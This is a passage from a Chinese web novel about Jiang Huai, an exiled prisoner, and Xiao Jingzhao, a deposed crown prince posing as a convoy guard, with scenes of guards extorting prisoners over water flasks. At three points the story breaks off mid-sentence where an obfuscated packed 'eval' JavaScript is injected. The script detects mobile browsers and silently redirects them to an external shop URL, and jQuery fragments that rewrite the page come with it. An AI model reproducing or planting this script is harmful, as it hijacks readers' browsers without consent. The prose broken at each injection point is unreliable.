将剩下几个囚犯介绍完,皂卒就不管萧靖昭记没记住,躲到一边吹风歇息去了。
萧靖昭绕着棚舍走了两圈,确定将脑海中的人名和脸对上了,目光不自觉地又落到了姜淮身上。
刚才看到姜淮时过于紧张,忽略了一些事,可现在想想,姜淮从没有出入过宫廷,唯一有机会见他,也就是他去姜太傅府上探病,但姜淮当时并未出现,所以,姜淮也有可能完全不认识他。
只是这一切都是他的猜测,万一姜淮在他不知道的时候见过他呢?
他现在的身份绝对不能暴露。
萧靖昭闭眼,东宫燃起的熊熊大火似乎还在眼前,耳畔甚至响起当时的厮杀声,心陡然冷了下去。
张头忙完手上的事务,立刻回来看看萧靖昭认人认得怎么样了,考察一番,确定萧靖昭已经全部记住后,脸上露出一丝笑意。
新来的皂卒要是做事不麻利,出了纰漏,他也有麻烦。
不过人认完了,就该给萧靖昭分配囚犯了。
流放路上,虽然皂卒们是一起押送囚犯,但因为囚犯人数众多,多对多的看守,总有皂卒会松懈,造成错漏,所以张头都是将囚犯分配到每个皂卒名下,这样万一囚犯在路上跑了,还可以找到人问罪。
“路上你就看守……”张头扫了眼棚舍内的囚犯,斟酌起来。
在他看来,萧靖昭毕竟是新皂卒,哪怕学习速度快,但和老皂卒还是没法比的,还是分两个好看守的囚犯最好。
“你就负责看守姜淮,李山。”张头说道。
李山在这群囚犯当中算是比较老实的,不会有太多出格的举动。
至于姜淮,张头想到刚才看到的事,眉头皱起,但很快又舒展开。
姜淮在一群囚犯当中也算好看守的,他虽然脑子灵活,但身体太差了,跑不出几步就会被抓回来。
更何况以姜家犯下的罪,能被流放就是陛下开恩,只要姜淮脑子还清醒,绝对不敢逃跑的,不然他这一跑不但自己遭殃,还会牵连姜家其他人。
听到姜淮的名字,萧靖昭呼吸微顿,但在张头没有发现之前就恢复了正常状态,应了一声是,并且低声表示自己对张头的感谢。
刚才那一圈认人,已经足够萧靖昭看出这些囚犯的组成情况,张头给他挑选的这两个囚犯,姜淮且不说,李山确实好看守,足可以见张头对他的照顾了。
“上路后,你好好看守这两人,别出岔子就是对我最好的报答了。”张头嘴上虽是这么说,可对萧靖昭的谢意还是很满意的,虽然他做的只是小事,可也是希望对方是知恩的。
两人说话的声音并不小,姜淮就听得格外清楚。
意识到自己是归萧靖昭管了,等张头离开,姜淮没忍住,抬头偷偷地看了眼站在一旁的萧靖昭。
好年轻!
姜淮有点惊讶,刚才因为紧张担忧,姜淮并没有过多地注意萧靖昭的相貌,只注意到对方脸上的胡子,下意识就以为对方可能有个三十岁。
可现在一看,才发现似乎不是,对方最多不会超过二十五。眉骨英挺,眼窝深邃,尽管神情冷淡,但眉眼间莫名显得温和,让姜淮下意识地觉得他性格不错。
由他来看守自己,应该会比其他皂卒好点吧。
尽管看似在出神,可萧靖昭还是迅速注意到有人在看他,顺着目光的方向看过去,对上姜淮隐含好奇的目光。
萧靖昭眉头微拧,还不等他有下一步动作,姜淮已经慌乱紧张地低下头去,显然是很怕他此时的皂卒身份。
能让一个备受家族宠爱的世家子弟变成这般模样,可想而知对方这一路是吃了多少苦头。
萧靖昭眼眸微垂,没有再看姜淮。
……
一大早的,姜淮就被身边的声音闹醒,睁眼看见皂卒正在分发今日的饼子,赶紧凑过去领了一个。
他昨天吃的那个饼子已经完全消化了,只是看着眼前的干饼子,感受一下喉咙内的干渴,他也就昨日王二来时喝了水,后面的水和饭都没有领到,有些纠结吃不吃。
姜淮瞅了眼旁边其他囚犯,因着王二也就买了上午那一次水,这些囚犯也都渴了,拿着饼子草草啃了两口后,不少囚犯没有选择继续吃,毕竟太干太噎了,没有水顺着,万一真被噎出个好歹,还不如现在忍忍。
确定其他囚犯都没有继续吃,姜淮才放弃了吃饼子的想法。
大多数囚犯身上都有饼子,那他这点食物就不显眼了。
姜淮注意着其他的囚犯,而其他囚犯也在关注着他,眼看他们马上就要离开驿站,王二依旧没有出现,有囚犯忍不住幸灾乐祸。
“昨天看他那么得意,还以为能混一顿饱饭,结果什么都没得到,白费唇舌。”
“谁说他没得到,不还得了一顿水吗?我看他都赚了,指不定就是人看不得他坐地起价,之后才没送来。”
“教点算术就想要人供应一天的饭食,这可真是无奸不商啊!”
“毕竟是大家公子出身嘛,还以为自己是什么富贵人,人人都得捧着他。”
……
萧靖昭昨日来时虽然听到了姜淮的说话声,但是并不知道其中的缘由,听完囚犯们酸溜溜的话后才明白是怎么一回事,下意识地看向了姜淮。
姜淮内心其实是有点失望,但昨天王二会来找他就是意外之喜,他也免费喝了一份水,至于饭,只能算自己运气不好,毕竟要是张头不过来,他还是能有后续的饭食吃。
但是话又说回来,张头会过来,那纯粹是因为有皂卒出事,他要领新皂卒过来。再理一理,他就是少了一顿饭,但是得到了一天休息,一份水,这么算下来,姜淮感觉自己也没有亏什么。
不过姜淮觉得自己还是要吸取教训,交易的时候一定要先把自己该得的快点拿到手,不然后续谁知道会不会出变故。
一群囚犯七嘴八舌地说,除了内心嫉妒,其实也是想看姜淮的笑话,只是该配合他们表演的人全程淡定,让他们顿时就说不下去了。
张头过来时,意外发现棚舍内还挺安静,有些惊讶,但是没有多想,清点了一点囚犯的人数,这才让人打开棚舍的门,押送囚犯上路。
一行人还没有走出驿站大门的范围,有人从后面追了过来。
“官爷,官爷……”王二气喘吁吁跑过来,昨日他没有给姜淮送饭,可也不想欠对方的人情,就打算今日一早偷偷地给姜淮送点补偿。
谁知道这流放队伍今天居然走得这么早,他实在没有办法偷偷地给了,只能现在过来给。
只是对上张头的目光,王二一下子就心虚
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13376177|141020||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
了,只是捏住手上的东西,再想想张头这都要走了,也不是本地的皂卒,哪里能管到他头上,一下腰板又挺直了些。
“什么事?”张头问。
王二没立刻回答,而是在流放队伍中扫了一眼,看到姜淮后定下心来,下意识赔笑道:“官爷,小的和人做了笔交易,来送货。”
王二说着往旁边走了两步,就想将手里的东西给姜淮塞去。
只是还不等他递过去,就先被张头给一把抢过去。
王二一惊,却也不敢再抢回来,毕竟他是个驿卒,而张头可是皂卒,手上拿着刀。
张头仔细地检查了一番,确实这只是一个单纯的水壶,里面没有藏什么利器违禁品,对上王二强自镇定的样子,继续盘问:“你和姜淮做的什么交易?”
王二想不通,这卖个水壶怎么还要被盘问一通,他昨日问其他人,可没听说皂卒会管这么多啊,虽然心底有些后悔此时的冲动,可都已经冲动了,那也只能硬着头皮继续下去。
“官爷,就,就昨日,您也见过,这小子教我一些算术,我该折饭食给他的,这不您……”王二说到这没忍住,瞟了张头一眼,将后半句咽了回去,“当时没给,我今日就将饭食折成水壶了。”
张头回头看了眼姜淮,没有再问什么,将水壶丢了过去,姜淮眼疾手快地接住,才没让水壶摔地上。
之前的饼子掉地上就是脏点,但是不影响吃,可这水壶要摔一下,万一摔破了,姜淮感觉自己要心疼死,虽然一个竹制的水壶应该没那么容易破,但万一呢。
姜淮感激地看着王二,真心道谢。
按照他们昨日的约定,对方这时候给一些吃食就够了。
可水壶,姜淮真的没有办法拒绝,昨天王二离开后,棚舍内也没有水喝,即便人渴了,那也只能这么渴着,姜淮就越发意识到有个可以储水的容器有多宝贵了。
尽管在路上说不定能找到材料自制水壶,但是没有工具,又没有很多空闲时间精力的情况下,想自制一个水壶,难度非常高。
至于说出钱买,囚犯能找谁买呢,在姜淮的记忆中,路过驿站,驿卒会向囚犯兜售水和食物,可是并没有改善生活的器具。
姜淮猜测是因为囚犯来得突然,驿卒很难事先准备好售卖的器具,而且囚犯一般也只停留一晚,就算现买都不方便,毕竟有些驿站离城镇村庄都有些距离。
至于说提前准备好,备货太麻烦了,积压成本也高,还不如卖些水和吃食,成本低廉,又是囚犯急需的。
姜淮敢说,错过这个水壶,除非他之后幸运碰到有卖的,然后又愿意出高价,或者说路上自己做个水壶,不然很难再获得一个水壶了。
王二本来还想在姜淮面前说下自己这个水壶和饭钱相比,还是要贵一些的,姜淮这次算占到便宜了,让姜淮领个情,只是看着张头驱赶嗯着囚犯离开,叹了口气,也没有说什么,挥挥手示意姜淮赶紧离开。
皂卒们对于王二送来水壶的事没什么反应,毕竟张头都表态了,他们就算有什么想法也不会表现出来。
与此同时,囚犯们一个个都羡慕嫉妒得不行。
他们原本以为姜淮昨天教王二算术是亏了,毕竟没有捞到该有的饭,不承想王二居然给姜淮送了个水壶,和一些吃食比起来,水壶可是重要的多。
怎么偏偏就他这么好运气,有些囚犯就想不通了。
尤其刚才嘲讽过姜淮的囚犯,更是心底愤愤不平,嫉妒到了极点,眼红得都要滴血了。
5. 第 5 章
路上,和张头走在一起的皂卒忍不住问道:“张头,你怎么就让那个驿卒卖水壶给姜淮了呢?”
话语中隐隐带了些质问。
要知道,他们这一路押送这些囚犯,如果只靠朝廷给的那些俸禄,那还不如不走这一程,能走这一程的,除了一些实在避不开的,谁不是指望从押送的囚犯身上榨些油水。
只是这榨油水也有讲究,要真不管不顾的压榨,万一这流放的人中,谁家还能搭上官员,他们就得吃挂落,为了这点钱太影响前途又不值得。
所以为了榨取油水,在开始,要让这些囚犯尽量多吃一吃苦头,然后趁着他们身上还有银子的时候,通过售卖一些东西来赚钱,这买卖钱货两讫,哪怕他们卖的价格高,可也好解释,对方也不方便为了这么点事特意针对。
水壶买卖就是他们压榨油水的第一个货物,必须让这些囚犯渴的厉害,他们才会知道一个普通的水壶有多宝贵,在售卖时才愿意出高价买。
在计划实施时,是不允许让其他人卖这些东西给囚犯的,毕竟这就等于把本该自己吃的好处拱手让人了。
“你别忘了他的身份?”张头瞥了说话的皂卒一旁,警告道。
以姜淮的身份,他们得小心点对待,不能对他太好,毕竟姜家的罪名太大了,可要是单独针对对方做了什么,那些原来受过姜家恩情的人,指不定就会借这个机会回报,而他们就是那个回报的棋子。
这些受过恩情的人或许不敢当着皇帝的面出头,可对付他们,根本不会暴露自己。
尤其这水壶还是驿卒当着很多人的面送的,他若是直接驳回,那就是显而易见的针对姜淮了。
当然,这些考虑张头并没有说出来,只是让对方意会。
“再说,你看他身上有银子吗?”张头接着道。
质问的皂卒顿住,他也关注过姜淮,毕竟如姜淮这般出身,如果身上有藏银子,那钱财数目绝对不少,尤其是这刚刚上路,从来没有吃过这种苦头,为了缓解痛苦,能用银子改善,姜淮绝对会改善。
就算对方知道此时不该显露财富,也会有犹豫纠结的时候。
可他观察这么久,现在回想起来,这个世家公子明明渴的不行居然一次水都没有买,每次都是在路上遇到水源才喝水,再结合姜淮在其他囚犯买水时的渴望表现,那么结论就很简单了,对方身无分文,但凡是有点银子,都不至于这么拮据。
皂卒低声骂了一句,也明白张头之前为什么会那样做,从姜淮身上搜刮不到银子,若是换了个普通囚犯,他们还能多出出气,可姜淮的情况,他们也不能针对他做的太过分。
近不得远不得,干脆冷淡处置算了。
……
姜淮并没有听到两位皂卒的议论,紧紧握着手里的水壶,感觉走路都有劲了些。
只不过这个劲头随着前行的路越走越长,而逐渐萎靡下去,腿脚酸胀感不断加强,好在上午的地还没有晒热,脚底倒是不太受罪。
姜淮怀疑,再多几天,自己要是能穿回去,就靠这些天的走路经验,都可以考虑参加一下竞走比赛,能不能得奖的不敢说,但是他能坚持跑完整个比赛。
尤其今天,不知道是不是为了追赶进度,姜淮感觉走在最后面的皂卒速度快了些,赶着囚犯们快点走。
要不是昨天休息的好,姜淮都有点坚持不住了。
好在这样的速度下,皂卒也坚持不了太久,在日头最烈的时候,张头终于开口说休息了。
话音刚落,不少囚犯直接一屁.股坐下来了,哪怕顶着烈日,也没有办法再多走几步去阴凉的地方,只想先歇一会。
皂卒们倒没有直接坐下,而是先去喝水,然后将喝空了的水壶给装满,这才找到到树荫下歇息。
姜淮也早就渴了,看到水迫不及待就想过去,只是上次他是从众过去喝水,没有主动开口过,而现在,姜淮估摸着只有他自己想去喝水了,那该找谁呢?
姜淮下意识的就想到了张头,只是很快又想起张头说过的话,萧靖昭负责看守他,那么他就该去找萧靖昭。
虽然没有上过班,但是姜淮记得一点,如果员工越级找领导,指不定就会被上司记恨,他现在的地位连员工都不如,还是要小心点。
最主要的是,姜淮感觉张头并不好说话,除非必要,还是不要在他面前多露脸的好。
姜淮刚想看看萧靖昭在哪里,一扭头就发现对方就站在他身后的位置,漆黑的眸子紧盯着他。
姜淮心底闪过一丝疑惑,不过也没有多想,只当萧靖昭是头一次当押送囚犯的皂卒,所以小心谨慎些。
“官爷,我想过去喝口水。”姜淮小心道。
萧靖昭沉默听完,脸色表情纹丝不动,微微侧头,看向他另一个看守对象,示意姜淮快去快回。
姜淮没想到萧靖昭居然这么痛快,一溜小跑的到了溪边,先喝了几口水解渴,然后一口饼子一口水的吃起来。
姜淮想起在驿站吃的那顿饭,吞了吞口水,虽然那顿饭和现代的饭菜比要差不少,可和眼前这个饼子比,又不知道美味多少。
姜淮使劲晃晃脑袋
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13376178|141020||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,让自己不要再想,再想就吃不下饭了。
这一晃头,眼角余光就瞥见不远处的萧靖昭,姜淮忽然注意到萧靖昭身上似乎没有水壶,如果他没记错的话,路上好像也没看到萧靖昭喝水。
难道是因为来的太匆忙,没有带上水壶?
姜淮本来没有多想,毕竟他总不可能把自己的水壶给萧靖昭,可低头啃饼子,想起早上的事,当时水壶能不能到手,全看张头的心思,若是有人能帮忙说句话……
“官爷,天这么热,您也喝点水。”
萧靖昭正出神,一个水壶忽然送到眼前。
萧靖昭侧头,对上姜淮真诚关切的目光。
姜淮之所以这么做,也是有自己的考虑。
趁着萧靖昭没有水壶,给对方送点水,讨好一下看看,能起效最好,不能起效,他也不过就是多取水一次,再差一点就是被萧靖昭抢走水壶,也不是完全不能接受的损失,同时也可以借此看清这个看守他的皂卒是不是他想象中的好人。
如果可以,姜淮其实也想用实在点的东西打点皂卒,可谁让他身无分文,想讨好皂卒,只能多思虑一番了。
萧靖昭沉默的看了眼姜淮,一上午没有喝水,他也确实渴了,而这水也是他亲眼看着姜淮从溪流中取来,甚至自己都喝过一口,不可能下药。
萧靖昭接过水壶,先喝了一口,接着大口喝起来。
姜淮心底松了口气,对方愿意接水就是个好征兆了。见萧靖昭将一壶水喝完,姜淮不用对方多说,再去溪边取水。
流放路上无聊又枯燥,稍微有一点不寻常的动静都会引起其他人的注意,更别说今天因为水壶的事,姜淮早就是整个队伍里的焦点。
尽管姜淮的动静并不大,可他的一举一动还是被其他人收入眼底。
囚犯们本来挺眼红姜淮能得一个水壶,可看到他居然想用打水来讨好皂卒,顿时嘲笑出声。
“这小崽子不会以为取点水就能讨好官爷吧?”
“说不定官爷看他这么殷勤,就被讨好了呢?”
“他真当官爷和那个驿卒一样傻啊,别到时候连水壶都被抢了。”
“哈哈,说不准呢,人家可是贵人,指不定就有这个福气。”
“福气?真有福气还能被流放了!”
……
这样出声的囚犯基本都是早上嘲讽过姜淮的,哪怕上午的嘲讽被打回自己脸上了,可这几个囚犯依旧没有改变,只觉得上次不过是姜淮运气好,遇到的驿卒太傻了,都不知道占便宜,总不可能这次的皂卒也傻。
6. 第 6 章
囚犯们固然嘲笑姜淮,可因为其中还牵涉到皂卒,也不敢说的太大声,只能小声逼逼几句。
姜淮并没有听到他们的话,不过就算听到了,也不会在意,毕竟他行动前就对各种结果做好了心理准备。
“魏哥,水来了,不够我再去取。”姜淮小声说道,声音带着点诚挚,同时也不动声色的将对萧靖昭的称呼给改了一下。
官爷这个指代太虚了,其他囚犯也可以这么称呼皂卒,要一直喊官爷,拉拢关系的速度就慢太多了。唯一的问题就是若萧靖昭不喜,那他刚才的功夫就白费了。
可姜淮同样清楚,现在不改,之后再改反而更显得突兀。
只是心里虽然这么给自己找理由,可这冒险确实比之前大不少。
姜淮喉咙发紧,不停的给自己洗脑,就当眼前的人是大学的陌生学长,也别太紧张,就算对方不高兴了,也顶多就是挨骂,再不行被打一下,也没什么的。
尽管姜淮装的很若无其事,好像他并没有说什么,可萧靖昭看着姜淮的眼睛,却能从那双清亮的眼眸深处,看出姜淮内心的惶恐。
姜淮确实不认识他。
意识到这点后,萧靖昭知道,他也该离姜淮远一些,毕竟就算他是负责看守姜淮的皂卒,可也不该离姜淮太近了。
只是对上姜淮的眼睛,萧靖昭却说不出拒绝的话来。
罢了,只是一壶水。
用这一壶水的恩情作为借口,稍微关照一下姜淮,也不是不行。
萧靖昭接过水,看到姜淮放在一边的干饼子,眼睛眨了眨,这干粮他见过是怎么做的,说难听些,让马吃这个都不一定会喜欢吃,更别说人了。
萧靖昭还记得姜淮刚才是一口水,一口饼子,才艰难的咽下去。
“这水壶先借我用用,等买了新的再还给你。”萧靖昭拿起水壶说道。
这话让一旁偷听他们对话的囚犯有些嘲讽的看着姜淮,觉得自己的猜测果然没有错,姜淮这下是偷鸡不成蚀把米。
其他囚犯听到这里也叹了口气,刚才他们还希望这个新来的皂卒会是什么好人,可现在看来,他们想太多了。
“这个,你拿去吃吧。”萧靖昭摸出一袋果干,这是昨日来的路上,看路边叫卖的老人家实在可怜,他下意识就买了一袋,只是又不想吃,干脆就给姜淮吧。
打开袋子前姜淮还以为自己的冒险失败了,失去一个水壶,可看到袋子里有些香甜的果干,不自觉咽了口口水。
萧靖昭刚才的话姜淮还以为只是套话,可看着这袋子果干,姜淮又觉得自己或许还没有失败。
真是糊弄他的话,何必给这么一袋果干呢,口头糊弄他就够了,他也不敢说什么。
看着袋子里的果干,姜淮感觉这东西能存挺久的,只是抬头看了看四周的囚犯和皂卒,姜淮又清楚的意识到他留不住。
非要留下,结果就是被别的囚犯给抢走了,他只有一个人,白天可以防着其他人,但是晚上可没有办法一晚不睡的提防其他囚犯。
有些的不舍的看了眼果干,姜淮拿起一块吃了起来。
其实果干也不算特别好吃,但是丝丝的甜意在口中弥漫开时,姜淮还是不自觉的展露笑颜。
这是他穿过来之后,头一次笑的这么真心。
而姜淮的动作也让其他好奇的囚犯看到了袋子里的果干,哪怕一袋果干不算什么,可刚才还在笑的囚犯就笑不出来了,有些恨铁不成钢的看着萧靖昭,这个皂卒怎么也有点傻。
不就是抢他一个水壶,直接拿就是了,何必用袋果干换呢,要是把这果干给他们,他们都愿意出钱买。
然而这几个囚犯没有想到,这还不是他们最生气的时候。
修整完,流放队伍再次上路,而走了没多久,他们就抵达了一座小镇,萧靖昭顺路就去买了水壶。
有了自己的水壶后,萧靖昭就将姜淮的水壶还了回来。
姜淮看着失而复得的水壶,脑子有点懵,他觉得萧靖昭会说话算话,但是没有想到对方的水壶买的这么的快,而且……
姜淮晃晃水壶,里面的水居然还是满的,可路上萧靖昭明明也喝了不少水,说明对方刚刚还补了一些水。
想到他刚才一口气就把萧靖昭给的果干吃掉了,姜淮突然有点心虚。
早知道他就吃慢点,这时候说不定还能还半袋子回去。
姜淮都是这个反应,更别提旁观的囚犯了,好几个囚犯破防,满脑子都是这件事。
以至于张头宣布说可以卖他们一些水壶,好让他们在路上也能喝水,一些囚犯依旧有些提不起精神。
如果没有姜淮这事,能买水壶,这些囚犯会高兴得不行,毕竟这一直渴着可太难熬了,可有了姜淮的事在前,又是免费得水壶,又是用水壶得了人情,对比一下,他们买水壶得到的这点好处就不是那么的吸引人。
张头早就将囚犯的反应看在眼里,冷笑一声。
其他皂卒的脸色也有些难看,这买水壶赚的钱他们都是能分到的,要是囚犯不舍得掏钱,那他们分到的银子也少了。
“行,既然你们都不想要这水壶,我也不逼着你们买。”张头语气格外的平静。
张头脸上的冷意看着其他囚犯心头一凉,尤其是发现其他皂卒都有些不满,顿时意识到他们的行为得罪了皂卒,慌了起来。
“官爷官爷,我们买我们买。”有囚犯着急道。
“官爷,我、我出一百文。”有囚犯咬咬牙出价,尽管水壶并不值这个价,可为了让张头和其余皂卒平息怒气,他也只能出高价了。
其他囚犯听到他出的这个价,表情难看了起来,他们身上也没有带太多银子,就算多带了点的,等到了流放地也是要花钱,光买个水壶就花这么多,那之后可怎么办。
因为有人犹豫,导致出价的囚犯说完,场面一下子冷了下来。
皂卒们原本因为囚犯出高价而略微缓和的表情一下子又紧绷起来。
张头之前还只是不高兴,现在则是恼怒,都是一群贱皮子,不见棺材不落泪,也不想想自己如今是什么处境,还敢拿乔。
看来还是他这几天太宽和了些,才让他们不知天高地厚。
张头冷哼了一声,当即也不卖水壶了,甚至在囚犯们慌乱出声时直接怒斥闭嘴,一些囚犯没有反应过来,还嚷了几句话,他直接一鞭子抽了下去,囚犯连呼痛的声音都不敢发出。
萧靖昭
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13376179|141020||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
看着这一幕,心如止水,或许在以前他会觉得张头的行为过于苛刻暴虐。
可如今,被皇帝言传身教了一番,萧靖昭的心早就冷硬如铁。
更何况这些囚犯会被流放,犯下的罪名也都不小,他在张头那里看过囚犯的名册,有的若不是边关需要劳力,都不用流放,直接就处死了。
想到这里,萧靖昭忽地朝姜淮看去,要说整个囚犯中最无辜的,那就是姜淮了。
作为太子本人,萧靖昭太了解皇帝所说的谋反事宜,不过是用来铲除太子一派的借口罢了,而姜淮也是被此牵连。
姜淮不是头一次看到张头发火,只是这次对方的火气格外大,尤其是那几鞭子下去,更是让姜淮看得身体紧绷。
姜淮注意到张头抽完几鞭子后似乎还不解气,将鞭子捏得紧紧的,想起自己昨天欠的那鞭子,心怦怦直跳,就怕被张头注意到,然后想起这件事来,也给他一鞭子。
姜淮小心地看向四周,发现萧靖昭在看着自己,神情平淡,可眉眼间却带着点温和。
尽管不知道这点温和从何而来,姜淮身体快脑子一步,凑了过去,躲到了萧靖昭身边。
萧靖昭没想到姜淮会特意靠过来,可一抬头,对上张头望过来的视线,瞬间反应过来。
昨天张头发火的事他也记得,所以姜淮是在寻求他的庇护。
若是其他人,萧靖昭不会为对方而得罪张头,可姜淮……
萧靖昭还没有分辨出此时是什么心绪,就往前迈了一步,将姜淮挡住了大半。
张头的视线一扫而过,对上萧靖昭时目光略有和缓,只是看向其他囚犯时,眼神重新冷厉起来,继续带着流放队伍往前走。
一路疾行,姜淮走的昏头昏脑,好在有水喝,还是多少可以弥补一下身体流失的水分。
抵达驿站,张头将囚犯往棚舍里一扔,临走前特意叮嘱看守的皂卒,不准让驿卒来卖水卖吃食。
囚犯们顿时意识到张头的教训居然还没有完,脸色发白。
毕竟谁也不知道张头这气要出到什么时候,如果只是这一晚上还好,可要是明天也不能喝水,在场的囚犯都不禁打了个寒战。
姜淮本来就没钱,也买不到水,可听到张头的这句话,忍不住心底一声长叹。
他还是低估了皂卒对囚犯的掌控,只要皂卒心情不好,就可以故意折腾囚犯。
倒不是姜淮可怜这些囚犯,而是这次的事虽然没有牵连他,可姜淮不觉得自己能永远不受牵连,总有一天他也会被这么折腾的。
逃跑的念头悄然在心底浮现,姜淮之前一直没有考虑过这个办法,可现在看到张头对囚犯的折腾,也忍不住考虑起来。
只是多想了一会,姜淮叹了口气,又将念头压下。
不说他如今体质多差,跑没几步就跑不动。就算他侥幸逃脱,如果是在野外逃跑,逃脱了皂卒的控制,也有一定概率沦为野兽的盘中餐。
至于在城镇逃跑,他没有身份证明,还是个被通缉的囚犯,不管是想避开官府的抓捕,还是想要去外地定居生活,都很困难。
更何况没有野兽,人就是最大的危险,万一遇到匪徒歹人,那结果说不定比当囚犯还惨。
7. 第 7 章
一早起来,大半天没有喝水,不少囚犯都蔫了,可惩罚还没有结束,早上该有的干饼子也没有了,囚犯只能饥肠辘辘地上路,个个饿得头晕眼花。
这么一通收拾下来,原本还有点小心思的囚犯们都老实了。
等午间,张头再次问他们要不要买水壶时,个个都踊跃得很,哪怕一些没有什么钱的囚犯,也都开口抬了抬水壶的价格。
没办法,前车之鉴近在眼前,他们要是不活跃一点,万一又被皂卒认为是轻视他们呢,再折腾他们一次,这谁受得了。
水壶卖出了一个让姜淮咋舌的高价,哪怕他不知道本地的物价如何,可也清楚这水壶里的暴利。
从囚犯手中将银钱收走,张头直接就给其他皂卒分了下去,皂卒们喜笑颜开,他们辛辛苦苦走这一趟,不就是为了这银钱嘛,不然干嘛吃这苦头。
看着张头的动作,囚犯们心底一沉,只是脸色不敢表现出来。
张头这动作的意思很明显,他们要是不买皂卒卖的货物,那就是得罪所有皂卒,绝对不会好过。
但是在场的囚犯也清楚,他们此时只是将皂卒喂饱了一次,下次要是喂不饱,还是要吃苦头,可到底要喂几次呢?
在场不管是有钱,还是没钱的囚犯,都意识到这个问题的严重性。
有囚犯不自觉地看向姜淮,刚才的水壶竞价中,只有姜淮没有出价,就算姜淮有了水壶,可他这么不出价,应该也得罪了皂卒吧。
有人只是心底想想,可有人却捺不住心底对姜淮的恨意。
虽然惹怒皂卒们的事是他们做的,可人怎么会怪自己呢,哪怕惩罚他们的是张头,可面对张头,他们也不敢有怨恨,那这怨恨最后就转移到了姜淮的头上。
谁让姜淮教算术得水壶,又故意讨好萧靖昭,不然他们怎么会因为嫉妒而忽视了张头的话。
张头算算自己得的银子,发现自己这教训一番囚犯,让得的银子都快翻倍了,心情也好了不少,忍不住对着囚犯絮叨几句,要是囚犯能老老实实地交银子,他也不用这么折腾。
有囚犯看出张头的心情好,趁机吹捧了几句,一副交钱交的感恩戴德的模样,让张头脸上的笑意都加深了些,哪怕知道对方肯定不是真这么想,但是马屁谁不爱听呢。
姜淮并没有多想,只当对方是在讨好张头,谁知道对方马上就提到了自己。
“官爷,这个姜淮真是不识抬举,他那个水壶还是您大人有大量才留下来的,您要卖水壶,他居然一点也不捧场,简直就是不把官爷放在眼里啊……”
这么简单明了的挑拨话,姜淮想听不懂都很难,意识到这句话会给他带来什么麻烦,姜淮脸色微变。
他刚才之所以不出价,一是因为自己有水壶,并不需要买,二来就是他真的没有银子。
他要是喊价,万一张头要把水壶卖给他呢,他拿不出银子,那就是在戏耍张头,就算他讨好了萧靖昭,得罪了张头也不会好过。
那还不如不出价,一动不如一静。
刚才看到张头没有反应,姜淮还以为这事就这么过去了,没想到会有囚犯用这个来攻击自己。
“官爷……”姜淮不可能坐以待毙,等着对方继续说些不利于自己的话。
只是姜淮刚开口,刚才还面带笑意的张头脸色倏地一变,扬起手掌朝着说话的囚犯脸上扇了过去。
挑唆的囚犯毫无准备,加上没有吃东西,直接被扇得倒在地上。
“狗东西,你什么心思,真当大爷看不出来。”张头火冒三丈,被扇得眼冒金星的囚犯不明所以,连连求饶,下意识地给自己辩解,说自己不是那个意思,张头误会了。
张头可不觉得自己是误会,看着讨饶的囚犯,挥舞鞭子连着抽了几下,打得对方皮开肉绽,痛哭流涕。
姜淮在张头动手的时候就意识到自己该避开,就算是要解释也不能现在解释,可是看着眼前单方面的暴力,两脚就像生根了似的,怎么都动弹不了。
直到一只手从身后伸出,拉住他的手腕,拖着他往旁边去。
姜淮回头,看到拉他的是萧靖昭,忽地全身放松了下来,顺着对方的力道往旁边挪动。
萧靖昭没有将姜淮拉得离太远,确定距离差不多了,萧靖昭就停了下来。
“低头,别出声。”萧靖昭声线极低,如果不是他就在姜淮耳边说话,姜淮都听不清他在说什么。
姜淮下意识顺着萧靖昭的话低下头来。
萧靖昭的行动不算隐晦,其他皂卒都看到他的动作。
“这新来的怎么对那个姜淮那么好?”有皂卒不太理解。
“说不定是看上了他呢,不然怎么没见他对其他囚犯这么好。”有皂卒猥琐一笑,其实他并没有真这么想,只是这流放途中无聊,这种话题说着才刺激。
说话的皂卒说着朝那边看了一眼,看到萧靖昭还拉着姜淮的手腕,顿时觉得自己的猜测不是没有可能。
毕竟年轻人,火气旺盛,这一来一回的,几个月都不沾荤腥实在是难为人,要不是他不爱男风,说不定也会动点歪心思。
不过要说歪心思,皂卒忽地侧头看向一旁的孙勇。
孙勇好男风的事其他皂卒都清楚,虽然前几日才被张头警告过,可孙勇对姜淮的觊觎,其他皂卒都看在眼里,只是孙勇一直也没敢有什么动静,现在……
孙勇直勾勾地看着姜淮被萧靖昭拉住的手腕,白皙光洁,带着少年人特有的纤细感,可偏偏,却被别人握住了。
孙勇懊悔不已,他一直关注着姜淮,自然也知道姜淮是如何和萧靖昭关系好起来,就更加后悔。
早知道这姜淮如此好讨好,他就也试探一下,说不定如今就是他牵着小美人的手了,说不定还能有更美的事等着呢。
